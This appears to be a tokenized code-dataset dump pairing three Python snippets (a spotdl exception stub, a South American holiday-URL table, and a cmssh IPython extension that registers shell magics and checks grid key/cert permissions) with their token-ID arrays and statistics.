from dataclasses import dataclass from typing import List from spotdl.types.song import Song from spotdl.utils.spotify import SpotifyClient class SavedError(Exception): """ Base class for all exceptions related to saved tracks. """ @dataclass(frozen=True)
[ 6738, 4818, 330, 28958, 1330, 4818, 330, 31172, 198, 6738, 19720, 1330, 7343, 198, 6738, 4136, 25404, 13, 19199, 13, 34050, 1330, 10940, 198, 6738, 4136, 25404, 13, 26791, 13, 20485, 1958, 1330, 26778, 11792, 628, 198, 4871, 8858, 276, 12331, 7, 16922, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 7308, 1398, 329, 477, 13269, 3519, 284, 7448, 8339, 13, 198, 220, 220, 220, 37227, 628, 198, 31, 19608, 330, 31172, 7, 69, 42005, 28, 17821, 8, 198 ]
3.358025
81
#!/usr/bin/python3.6.0 # -*- coding: utf-8 -*- COUNTRIES = { "argentina" : ".com.ar", "bolivia" : ".com.bo", "brasil" : "http://www.public-holidays.us/BR_ES_{0}_Feriados%20nacionais", "chile" : ".cl", "colombia" : ".co", "ecuador" : ".la/ecuador", "guyana" : ".gy", "paraguay" : ".com.py", "peru" : ".pe", "suriname" : ".la/suriname", "trinidad-and-tobago" : ".la/trinidad-and-tobago", "uruguay" : ".la/uruguay", "venezuela" : ".com.ve", "french-guiana" : ".la/french-guiana" } ENGLISH_CONTENTS = ["trinidad-and-tobago", "suriname", "french-guiana", "guyana"]
[ 2, 48443, 14629, 14, 8800, 14, 29412, 18, 13, 21, 13, 15, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 34, 19385, 5446, 11015, 796, 1391, 198, 197, 1, 853, 298, 1437, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 785, 13, 283, 1600, 198, 197, 1, 28984, 20817, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 785, 13, 2127, 1600, 198, 197, 1, 1671, 292, 346, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 366, 4023, 1378, 2503, 13, 11377, 12, 3937, 13842, 13, 385, 14, 11473, 62, 1546, 23330, 15, 92, 62, 37, 33442, 22484, 4, 1238, 77, 49443, 15152, 1600, 198, 197, 1, 354, 576, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 565, 1600, 198, 197, 1, 4033, 2381, 544, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 1073, 1600, 198, 197, 1, 721, 24201, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 5031, 14, 721, 24201, 1600, 198, 197, 1, 22932, 2271, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 1360, 1600, 198, 197, 1, 1845, 11433, 323, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 785, 13, 9078, 1600, 198, 197, 1, 525, 84, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 431, 1600, 198, 197, 1, 11793, 259, 480, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 5031, 14, 11793, 259, 480, 1600, 198, 197, 1, 2213, 259, 32482, 12, 392, 12, 83, 672, 3839, 1, 1058, 27071, 5031, 14, 2213, 259, 32482, 12, 392, 12, 83, 672, 3839, 1600, 198, 197, 1, 333, 1018, 30106, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 5031, 14, 333, 1018, 30106, 1600, 198, 197, 1, 574, 8471, 2731, 64, 1, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 27071, 785, 13, 303, 1600, 198, 197, 1, 69, 3532, 12, 5162, 7484, 1, 220, 220, 220, 220, 220, 220, 1058, 27071, 5031, 14, 69, 3532, 12, 5162, 7484, 1, 198, 92, 198, 198, 1677, 8763, 18422, 62, 37815, 15365, 796, 14631, 2213, 259, 32482, 12, 392, 12, 83, 672, 3839, 1600, 366, 11793, 259, 480, 1600, 366, 69, 3532, 12, 5162, 7484, 1600, 366, 22932, 2271, 8973 ]
1.647727
440
#!/usr/bin/env python #-*- coding: ISO-8859-1 -*- #pylint: disable-msg=E1101,C0103,R0902 # system modules import os import sys import stat import time import thread import traceback from types import GeneratorType # ipython modules import IPython from IPython import release # cmssh modules import cmssh from cmssh.iprint import PrintManager, print_error, print_warning, print_info from cmssh.debug import DebugManager from cmssh.cms_cmds import dbs_instance, Magic, cms_find, cms_du from cmssh.cms_cmds import cms_ls, cms_cp, verbose, cmscrab from cmssh.cms_cmds import cms_rm, cms_rmdir, cms_mkdir, cms_root, cms_xrdcp from cmssh.cms_cmds import cms_install, cms_releases, cms_info, debug_http from cmssh.cms_cmds import cmsrel, cmsrun, cms_help, cms_arch, cms_vomsinit from cmssh.cms_cmds import cms_help_msg, results, cms_apt, cms_das, cms_das_json from cmssh.cms_cmds import github_issues, demo, cms_json, cms_jobs, cmsenv from cmssh.cms_cmds import cms_lumi, integration_tests, cms_read from cmssh.cms_cmds import cms_config, cms_commands, cms_pager def unregister(): """Unregister shell""" ID.prompt = "cms-sh" ID.name = "cms-sh" ID.dict[ID.name] = [] ID.funcList = [] def register(prompt, name, funcList=[]): """Register shell""" set_prompt(prompt) ID.prompt = prompt ID.name = name funcList.sort() ID.dict[name] = funcList if funcList: print_info("Available commands within %s sub-shell:" % prompt) if funcList: if not funcList.count('_exit'): funcList.append('_exit') for func in funcList: print_info("%s %s" % (" "*10, func)) if not ID.funcList.count(func): ID.funcList.append(func) else: ID.funcList = funcList def set_prompt(in1): """Define shell prompt""" ip = get_ipython() prompt = '%s|\#> ' % in1 ip.prompt_manager.width = len(prompt)-1 ip.prompt_manager.in_template = prompt # # load managers # try: DEBUG = DebugManager() ID = ShellName() except: traceback.print_exc() # list of cms-sh magic functions cmsMagicList = [ \ # generic commands, we use Magic class and its execute function ('cvs', Magic('cvs').execute), ('svn', Magic('svn').execute), ('ssh', Magic('ssh').subprocess), ('kinit', Magic('kinit').subprocess), ('klist', Magic('klist').execute), ('kdestroy', Magic('kdestroy').execute), ('git', Magic('git').execute), ('echo', Magic('echo').execute), ('grep', Magic('grep').execute), ('tail', Magic('tail').execute), ('tar', Magic('tar').execute), ('zip', Magic('zip').execute), ('chmod', Magic('chmod').execute), ('vim', Magic('vim').subprocess), ('python', Magic('python').execute), ('env', Magic('env').execute), ('pip', Magic('pip').subprocess), # CMS commands ('cmsenv', cmsenv), ('scram', Magic('scramv1').execute), ('vomsinit', cms_vomsinit), ('vomsinfo', Magic('voms-proxy-info').execute), # specific commands whose execution depends on conditions ('crab', cmscrab), ('read', cms_read), ('jobs', cms_jobs), ('config', cms_config), ('commands', cms_commands), ('das', cms_das), ('das_json', cms_das_json), ('apt', cms_apt), ('xrdcp', cms_xrdcp), ('root', cms_root), ('find', cms_find), ('du', cms_du), ('ls', cms_ls), ('info', cms_info), ('lumi', cms_lumi), ('cms_json', cms_json), ('rm', cms_rm), ('mkdir', cms_mkdir), ('rmdir', cms_rmdir), ('cp', cms_cp), ('verbose', verbose), ('debug_http', debug_http), ('install', cms_install), ('releases', cms_releases), ('dbs_instance', dbs_instance), ('cmsrel', cmsrel), ('cmsRun', cmsrun), ('cmsrun', cmsrun), ('cmshelp', cms_help), ('arch', cms_arch), ('tickets', github_issues), ('ticket', github_issues), ('demo', demo), ('test', integration_tests), ('pager', cms_pager), ] if os.environ.get('CMSSH_EOS', 0): eos = '/afs/cern.ch/project/eos/installation/cms/bin/eos.select' cmsMagicList.append(('eos', Magic(eos).execute)) def check_0400(kfile): "Check 0400 permission of given file" mode = os.stat(kfile).st_mode cond = bool(mode & stat.S_IRUSR) and not bool(mode & stat.S_IWUSR) \ and not bool(mode & stat.S_IXUSR) \ and not bool(mode & stat.S_IRWXO) \ and not bool(mode & stat.S_IRWXG) return cond def check_0600(kfile): "Check 0600 permission of given file" mode = os.stat(kfile).st_mode cond = bool(mode & stat.S_IRUSR) and not bool(mode & stat.S_IXUSR) \ and not bool(mode & stat.S_IRWXO) \ and not bool(mode & stat.S_IRWXG) return cond def test_key_cert(): """Test user key/cert file and their permissions""" kfile = os.path.join(os.environ['HOME'], '.globus/userkey.pem') cfile = os.path.join(os.environ['HOME'], '.globus/usercert.pem') if os.path.isfile(kfile): if not (check_0600(kfile) or check_0400(kfile)): msg = "File %s has weak permission settings, try" % kfile print_warning(msg) print "chmod 0400 %s" % kfile else: print_error("File %s does not exists, grid/cp commands will not work" % kfile) if os.path.isfile(cfile): if not (check_0600(cfile) or check_0400(cfile)): msg = "File %s has weak permission settings, try" % cfile print_warning(msg) print "chmod 0600 %s" % cfile else: msg = "File %s does not exists, grid/cp commands will not work" % cfile print_error(msg) # # Main function # def main(ipython): """Define custom extentions""" # global IP API ip = ipython # load cms modules and expose them to the shell for m in cmsMagicList: magic_name = 'magic_%s' % m[0] if hasattr(ip, 'register_magic_function'): # ipython 0.13 and above magic_kind = 'line' func = m[1] name = m[0] ip.register_magic_function(func, magic_kind, name) else: # ipython 0.12 and below setattr(ip, magic_name, m[1]) # import required modules for the shell ip.ex("import os") ip.ex("from cmssh.cms_cmds import results, cms_vomsinit") ip.ex("from cmssh.auth_utils import PEMMGR, read_pem") ip.ex("read_pem()") ip.ex("cms_vomsinit()") ip.ex("os.environ['CMSSH_PAGER']='0'") # Set cmssh prompt prompt = 'cms-sh' ip.prompt_manager.in_template = '%s|\#> ' % prompt print cms_help_msg() # check existance and permission of key/cert test_key_cert() def load_ipython_extension(ipython): """Load custom extensions""" # The ``ipython`` argument is the currently active # :class:`InteractiveShell` instance that can be used in any way. # This allows you do to things like register new magics, plugins or # aliases. main(ipython)
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 12, 9, 12, 19617, 25, 19694, 12, 3459, 3270, 12, 16, 532, 9, 12, 198, 2, 79, 2645, 600, 25, 15560, 12, 19662, 28, 36, 1157, 486, 11, 34, 486, 3070, 11, 49, 2931, 2999, 198, 198, 2, 1080, 13103, 198, 11748, 28686, 198, 11748, 25064, 198, 11748, 1185, 198, 11748, 640, 198, 11748, 4704, 198, 11748, 12854, 1891, 198, 6738, 220, 220, 3858, 1330, 35986, 6030, 198, 198, 2, 20966, 7535, 13103, 198, 11748, 6101, 7535, 198, 6738, 220, 220, 6101, 7535, 1330, 2650, 198, 198, 2, 12067, 45824, 13103, 198, 11748, 12067, 45824, 198, 6738, 220, 220, 12067, 45824, 13, 541, 22272, 1330, 12578, 13511, 11, 3601, 62, 18224, 11, 3601, 62, 43917, 11, 3601, 62, 10951, 198, 6738, 220, 220, 12067, 45824, 13, 24442, 1330, 31687, 13511, 198, 6738, 220, 220, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 288, 1443, 62, 39098, 11, 6139, 11, 269, 907, 62, 19796, 11, 269, 907, 62, 646, 198, 6738, 220, 220, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 269, 907, 62, 7278, 11, 269, 907, 62, 13155, 11, 15942, 577, 11, 269, 907, 6098, 397, 198, 6738, 220, 220, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 269, 907, 62, 26224, 11, 269, 907, 62, 81, 9132, 343, 11, 269, 907, 62, 28015, 15908, 11, 269, 907, 62, 15763, 11, 269, 907, 62, 87, 4372, 13155, 198, 6738, 220, 220, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 269, 907, 62, 17350, 11, 269, 907, 62, 260, 29329, 11, 269, 907, 62, 10951, 11, 14257, 62, 4023, 198, 6738, 220, 220, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 269, 907, 2411, 11, 269, 907, 5143, 11, 269, 907, 62, 16794, 11, 269, 907, 62, 998, 11, 269, 907, 62, 85, 3150, 15003, 198, 6738, 220, 220, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 269, 907, 62, 16794, 62, 19662, 11, 2482, 11, 269, 907, 62, 2373, 11, 269, 907, 62, 67, 292, 11, 269, 907, 62, 67, 292, 62, 17752, 198, 6738, 220, 220, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 33084, 62, 37165, 11, 13605, 11, 269, 907, 62, 17752, 11, 269, 907, 62, 43863, 11, 269, 907, 24330, 198, 6738, 220, 220, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 269, 907, 62, 75, 12994, 11, 11812, 62, 41989, 11, 269, 907, 62, 961, 198, 6738, 220, 220, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 269, 907, 62, 11250, 11, 269, 907, 62, 9503, 1746, 11, 269, 907, 62, 79, 3536, 628, 198, 4299, 555, 30238, 33529, 198, 220, 220, 220, 37227, 3118, 30238, 7582, 37811, 198, 220, 220, 220, 4522, 13, 16963, 457, 220, 220, 220, 220, 220, 220, 220, 220, 796, 366, 46406, 12, 1477, 1, 198, 220, 220, 220, 4522, 13, 3672, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 796, 366, 46406, 12, 1477, 1, 198, 220, 220, 220, 4522, 13, 11600, 58, 2389, 13, 3672, 60, 220, 796, 17635, 198, 220, 220, 220, 4522, 13, 20786, 8053, 220, 220, 220, 220, 220, 220, 796, 17635, 198, 198, 4299, 7881, 7, 16963, 457, 11, 1438, 11, 25439, 8053, 28, 21737, 2599, 198, 220, 220, 220, 37227, 38804, 7582, 37811, 198, 220, 220, 220, 900, 62, 16963, 457, 7, 16963, 457, 8, 198, 220, 220, 220, 4522, 13, 16963, 457, 796, 6152, 198, 220, 220, 220, 4522, 13, 3672, 220, 220, 796, 1438, 198, 220, 220, 220, 25439, 8053, 13, 30619, 3419, 198, 220, 220, 220, 4522, 13, 11600, 58, 3672, 60, 796, 25439, 8053, 198, 220, 220, 220, 611, 220, 25439, 8053, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 62, 10951, 7203, 10493, 9729, 1626, 4064, 82, 850, 12, 29149, 11097, 4064, 6152, 8, 198, 220, 220, 220, 611, 220, 25439, 8053, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 220, 407, 25439, 8053, 13, 9127, 10786, 62, 37023, 6, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25439, 8053, 13, 33295, 10786, 62, 37023, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 329, 25439, 287, 25439, 8053, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 62, 10951, 7203, 4, 82, 4064, 82, 1, 4064, 5855, 366, 9, 940, 11, 25439, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 220, 407, 4522, 13, 20786, 8053, 13, 9127, 7, 20786, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4522, 13, 20786, 8053, 13, 33295, 7, 20786, 8, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4522, 13, 20786, 8053, 796, 25439, 8053, 198, 198, 4299, 900, 62, 16963, 457, 7, 259, 16, 2599, 198, 220, 220, 220, 37227, 7469, 500, 7582, 6152, 37811, 198, 220, 220, 220, 20966, 796, 651, 62, 541, 7535, 3419, 198, 220, 220, 220, 6152, 796, 705, 4, 82, 91, 59, 2, 29, 705, 4064, 287, 16, 198, 220, 220, 220, 20966, 13, 16963, 457, 62, 37153, 13, 10394, 796, 18896, 7, 16963, 457, 13219, 16, 198, 220, 220, 220, 20966, 13, 16963, 457, 62, 37153, 13, 259, 62, 28243, 796, 6152, 628, 198, 2, 198, 2, 3440, 11663, 198, 2, 198, 28311, 25, 198, 220, 220, 220, 16959, 220, 220, 220, 796, 31687, 13511, 3419, 198, 220, 220, 220, 4522, 220, 220, 220, 220, 220, 220, 796, 17537, 5376, 3419, 198, 16341, 25, 198, 220, 220, 220, 12854, 1891, 13, 4798, 62, 41194, 3419, 198, 198, 2, 1351, 286, 269, 907, 12, 1477, 5536, 5499, 198, 46406, 22975, 8053, 796, 685, 3467, 198, 220, 220, 220, 1303, 14276, 9729, 11, 356, 779, 6139, 1398, 290, 663, 12260, 2163, 198, 220, 220, 220, 19203, 66, 14259, 3256, 6139, 10786, 66, 14259, 27691, 41049, 828, 198, 220, 220, 220, 19203, 21370, 77, 3256, 6139, 10786, 21370, 77, 27691, 41049, 828, 198, 220, 220, 220, 19203, 45824, 3256, 6139, 10786, 45824, 27691, 7266, 14681, 828, 198, 220, 220, 220, 19203, 5116, 270, 3256, 6139, 10786, 5116, 270, 27691, 7266, 14681, 828, 198, 220, 220, 220, 19203, 74, 4868, 3256, 6139, 10786, 74, 4868, 27691, 41049, 828, 198, 220, 220, 220, 19203, 74, 41659, 3256, 6139, 10786, 74, 41659, 27691, 41049, 828, 198, 220, 220, 220, 19203, 18300, 3256, 6139, 10786, 18300, 27691, 41049, 828, 198, 220, 220, 220, 19203, 30328, 3256, 6139, 10786, 30328, 27691, 41049, 828, 198, 220, 220, 220, 19203, 70, 7856, 3256, 6139, 10786, 70, 7856, 27691, 41049, 828, 198, 220, 220, 220, 19203, 13199, 3256, 6139, 10786, 13199, 27691, 41049, 828, 198, 220, 220, 220, 19203, 18870, 3256, 6139, 10786, 18870, 27691, 41049, 828, 198, 220, 220, 220, 19203, 13344, 3256, 6139, 10786, 13344, 27691, 41049, 828, 198, 220, 220, 220, 19203, 354, 4666, 3256, 6139, 10786, 354, 4666, 27691, 41049, 828, 198, 220, 220, 220, 19203, 31124, 3256, 6139, 10786, 31124, 27691, 7266, 14681, 828, 198, 220, 220, 220, 19203, 29412, 3256, 6139, 10786, 29412, 27691, 41049, 828, 198, 220, 220, 220, 19203, 24330, 3256, 6139, 10786, 24330, 27691, 41049, 828, 198, 220, 220, 220, 19203, 79, 541, 3256, 6139, 10786, 79, 541, 27691, 7266, 14681, 828, 198, 220, 220, 220, 1303, 40773, 9729, 198, 220, 220, 220, 19203, 46406, 24330, 3256, 269, 907, 24330, 828, 198, 220, 220, 220, 19203, 1416, 859, 3256, 6139, 10786, 1416, 859, 85, 16, 27691, 41049, 828, 198, 220, 220, 220, 19203, 85, 3150, 15003, 3256, 269, 907, 62, 85, 3150, 15003, 828, 198, 220, 220, 220, 19203, 85, 3150, 10951, 3256, 6139, 10786, 85, 3150, 12, 36436, 12, 10951, 27691, 41049, 828, 198, 220, 220, 220, 1303, 2176, 9729, 3025, 9706, 8338, 319, 3403, 198, 220, 220, 220, 19203, 6098, 397, 3256, 269, 907, 6098, 397, 828, 198, 220, 220, 220, 19203, 961, 3256, 269, 907, 62, 961, 828, 198, 220, 220, 220, 19203, 43863, 3256, 269, 907, 62, 43863, 828, 198, 220, 220, 220, 19203, 11250, 3256, 269, 907, 62, 11250, 828, 198, 220, 220, 220, 19203, 9503, 1746, 3256, 269, 907, 62, 9503, 1746, 828, 198, 220, 220, 220, 19203, 67, 292, 3256, 269, 907, 62, 67, 292, 828, 198, 220, 220, 220, 19203, 67, 292, 62, 17752, 3256, 269, 907, 62, 67, 292, 62, 17752, 828, 198, 220, 220, 220, 19203, 2373, 3256, 269, 907, 62, 2373, 828, 198, 220, 220, 220, 19203, 87, 4372, 13155, 3256, 269, 907, 62, 87, 4372, 13155, 828, 198, 220, 220, 220, 19203, 15763, 3256, 269, 907, 62, 15763, 828, 198, 220, 220, 220, 19203, 19796, 3256, 269, 907, 62, 19796, 828, 198, 220, 220, 220, 19203, 646, 3256, 269, 907, 62, 646, 828, 198, 220, 220, 220, 19203, 7278, 3256, 269, 907, 62, 7278, 828, 198, 220, 220, 220, 19203, 10951, 3256, 269, 907, 62, 10951, 828, 198, 220, 220, 220, 19203, 75, 12994, 3256, 269, 907, 62, 75, 12994, 828, 198, 220, 220, 220, 19203, 46406, 62, 17752, 3256, 269, 907, 62, 17752, 828, 198, 220, 220, 220, 19203, 26224, 3256, 269, 907, 62, 26224, 828, 198, 220, 220, 220, 19203, 28015, 15908, 3256, 269, 907, 62, 28015, 15908, 828, 198, 220, 220, 220, 19203, 81, 9132, 343, 3256, 269, 907, 62, 81, 9132, 343, 828, 198, 220, 220, 220, 19203, 13155, 3256, 269, 907, 62, 13155, 828, 198, 220, 220, 220, 19203, 19011, 577, 3256, 15942, 577, 828, 198, 220, 220, 220, 19203, 24442, 62, 4023, 3256, 14257, 62, 4023, 828, 198, 220, 220, 220, 19203, 17350, 3256, 269, 907, 62, 17350, 828, 198, 220, 220, 220, 19203, 260, 29329, 3256, 269, 907, 62, 260, 29329, 828, 198, 220, 220, 220, 19203, 67, 1443, 62, 39098, 3256, 288, 1443, 62, 39098, 828, 198, 220, 220, 220, 19203, 46406, 2411, 3256, 269, 907, 2411, 828, 198, 220, 220, 220, 19203, 46406, 10987, 3256, 269, 907, 5143, 828, 198, 220, 220, 220, 19203, 46406, 5143, 3256, 269, 907, 5143, 828, 198, 220, 220, 220, 19203, 46406, 16794, 3256, 269, 907, 62, 16794, 828, 198, 220, 220, 220, 19203, 998, 3256, 269, 907, 62, 998, 828, 198, 220, 220, 220, 19203, 83, 15970, 3256, 33084, 62, 37165, 828, 198, 220, 220, 220, 19203, 43350, 3256, 33084, 62, 37165, 828, 198, 220, 220, 220, 19203, 9536, 78, 3256, 13605, 828, 198, 220, 220, 220, 19203, 9288, 3256, 11812, 62, 41989, 828, 198, 220, 220, 220, 19203, 79, 3536, 3256, 269, 907, 62, 79, 3536, 828, 198, 60, 198, 361, 220, 28686, 13, 268, 2268, 13, 1136, 10786, 24187, 5432, 39, 62, 36, 2640, 3256, 657, 2599, 198, 220, 220, 220, 304, 418, 796, 31051, 1878, 82, 14, 30903, 13, 354, 14, 16302, 14, 68, 418, 14, 17350, 341, 14, 46406, 14, 8800, 14, 68, 418, 13, 19738, 6, 198, 220, 220, 220, 269, 907, 22975, 8053, 13, 33295, 7, 10786, 68, 418, 3256, 6139, 7, 68, 418, 737, 41049, 4008, 198, 198, 4299, 2198, 62, 3023, 405, 7, 74, 7753, 2599, 198, 220, 220, 220, 366, 9787, 657, 7029, 7170, 286, 1813, 2393, 1, 198, 220, 220, 220, 4235, 796, 28686, 13, 14269, 7, 74, 7753, 737, 301, 62, 14171, 198, 220, 220, 220, 1779, 796, 20512, 7, 14171, 1222, 1185, 13, 50, 62, 4663, 2937, 49, 8, 290, 407, 20512, 7, 14171, 1222, 1185, 13, 50, 62, 40, 54, 2937, 49, 8, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 407, 20512, 7, 14171, 1222, 1185, 13, 50, 62, 10426, 2937, 49, 8, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 407, 20512, 7, 14171, 1222, 1185, 13, 50, 62, 4663, 54, 55, 46, 8, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 407, 20512, 7, 14171, 1222, 1185, 13, 50, 62, 4663, 54, 55, 38, 8, 198, 220, 220, 220, 1441, 1779, 198, 198, 4299, 2198, 62, 3312, 405, 7, 74, 7753, 2599, 198, 220, 220, 220, 366, 9787, 657, 8054, 7170, 286, 1813, 2393, 1, 198, 220, 220, 220, 4235, 796, 28686, 13, 14269, 7, 74, 7753, 737, 301, 62, 14171, 198, 220, 220, 220, 1779, 796, 20512, 7, 14171, 1222, 1185, 13, 50, 62, 4663, 2937, 49, 8, 290, 407, 20512, 7, 14171, 1222, 1185, 13, 50, 62, 10426, 2937, 49, 8, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 407, 20512, 7, 14171, 1222, 1185, 13, 50, 62, 4663, 54, 55, 46, 8, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 407, 20512, 7, 14171, 1222, 1185, 13, 50, 62, 4663, 54, 55, 38, 8, 198, 220, 220, 220, 1441, 1779, 198, 198, 4299, 1332, 62, 2539, 62, 22583, 33529, 198, 220, 220, 220, 37227, 14402, 2836, 1994, 14, 22583, 2393, 290, 511, 21627, 37811, 198, 220, 220, 220, 479, 7753, 796, 28686, 13, 6978, 13, 22179, 7, 418, 13, 268, 2268, 17816, 39069, 6, 4357, 45302, 4743, 672, 385, 14, 7220, 2539, 13, 79, 368, 11537, 198, 220, 220, 220, 269, 7753, 796, 28686, 13, 6978, 13, 22179, 7, 418, 13, 268, 2268, 17816, 39069, 6, 4357, 45302, 4743, 672, 385, 14, 43298, 861, 13, 79, 368, 11537, 198, 220, 220, 220, 611, 220, 28686, 13, 6978, 13, 4468, 576, 7, 74, 7753, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 611, 220, 407, 357, 9122, 62, 3312, 405, 7, 74, 7753, 8, 393, 2198, 62, 3023, 405, 7, 74, 7753, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 31456, 796, 366, 8979, 4064, 82, 468, 4939, 7170, 6460, 11, 1949, 1, 4064, 479, 7753, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 62, 43917, 7, 19662, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 366, 354, 4666, 657, 7029, 4064, 82, 1, 4064, 479, 7753, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 62, 18224, 7203, 8979, 4064, 82, 857, 407, 7160, 11, 10706, 14, 13155, 9729, 481, 407, 670, 1, 4064, 479, 7753, 8, 198, 220, 220, 220, 611, 220, 28686, 13, 6978, 13, 4468, 576, 7, 66, 7753, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 611, 220, 407, 357, 9122, 62, 3312, 405, 7, 66, 7753, 8, 393, 2198, 62, 3023, 405, 7, 66, 7753, 8, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 31456, 796, 366, 8979, 4064, 82, 468, 4939, 7170, 6460, 11, 1949, 1, 4064, 269, 7753, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 62, 43917, 7, 19662, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 366, 354, 4666, 657, 8054, 4064, 82, 1, 4064, 269, 7753, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 31456, 796, 366, 8979, 4064, 82, 857, 407, 7160, 11, 10706, 14, 13155, 9729, 481, 407, 670, 1, 4064, 269, 7753, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 62, 18224, 7, 19662, 8, 198, 198, 2, 198, 2, 8774, 2163, 198, 2, 198, 4299, 1388, 7, 541, 7535, 2599, 198, 220, 220, 220, 37227, 7469, 500, 2183, 6287, 507, 37811, 628, 220, 220, 220, 1303, 3298, 6101, 7824, 198, 220, 220, 220, 20966, 796, 20966, 7535, 628, 220, 220, 220, 1303, 3440, 269, 907, 13103, 290, 15651, 606, 284, 262, 7582, 198, 220, 220, 220, 329, 285, 287, 269, 907, 22975, 8053, 25, 198, 220, 220, 220, 220, 220, 220, 220, 5536, 62, 3672, 796, 705, 32707, 62, 4, 82, 6, 4064, 285, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 611, 220, 468, 35226, 7, 541, 11, 705, 30238, 62, 32707, 62, 8818, 6, 2599, 1303, 20966, 7535, 657, 13, 1485, 290, 2029, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5536, 62, 11031, 796, 705, 1370, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25439, 796, 285, 58, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1438, 796, 285, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 20966, 13, 30238, 62, 32707, 62, 8818, 7, 20786, 11, 5536, 62, 11031, 11, 1438, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 1303, 20966, 7535, 657, 13, 1065, 290, 2174, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 900, 35226, 7, 541, 11, 5536, 62, 3672, 11, 285, 58, 16, 12962, 628, 220, 220, 220, 1303, 1330, 2672, 13103, 329, 262, 7582, 198, 220, 220, 220, 20966, 13, 1069, 7203, 11748, 28686, 4943, 198, 220, 220, 220, 20966, 13, 1069, 7203, 6738, 12067, 45824, 13, 46406, 62, 28758, 82, 1330, 2482, 11, 269, 907, 62, 85, 3150, 15003, 4943, 198, 220, 220, 220, 20966, 13, 1069, 7203, 6738, 12067, 45824, 13, 18439, 62, 26791, 1330, 350, 3620, 44, 10761, 11, 1100, 62, 79, 368, 4943, 198, 220, 220, 220, 20966, 13, 1069, 7203, 961, 62, 79, 368, 3419, 4943, 198, 220, 220, 220, 20966, 13, 1069, 7203, 46406, 62, 85, 3150, 15003, 3419, 4943, 198, 220, 220, 220, 20966, 13, 1069, 7203, 418, 13, 268, 2268, 17816, 24187, 5432, 39, 62, 4537, 30373, 20520, 11639, 15, 6, 4943, 628, 220, 220, 220, 1303, 5345, 12067, 45824, 6152, 198, 220, 220, 220, 6152, 796, 705, 46406, 12, 1477, 6, 198, 220, 220, 220, 20966, 13, 16963, 457, 62, 37153, 13, 259, 62, 28243, 796, 705, 4, 82, 91, 59, 2, 29, 705, 4064, 6152, 198, 220, 220, 220, 3601, 269, 907, 62, 16794, 62, 19662, 3419, 198, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 2198, 2152, 590, 290, 7170, 286, 1994, 14, 22583, 220, 198, 220, 220, 220, 1332, 62, 2539, 62, 22583, 3419, 198, 198, 4299, 3440, 62, 541, 7535, 62, 2302, 3004, 7, 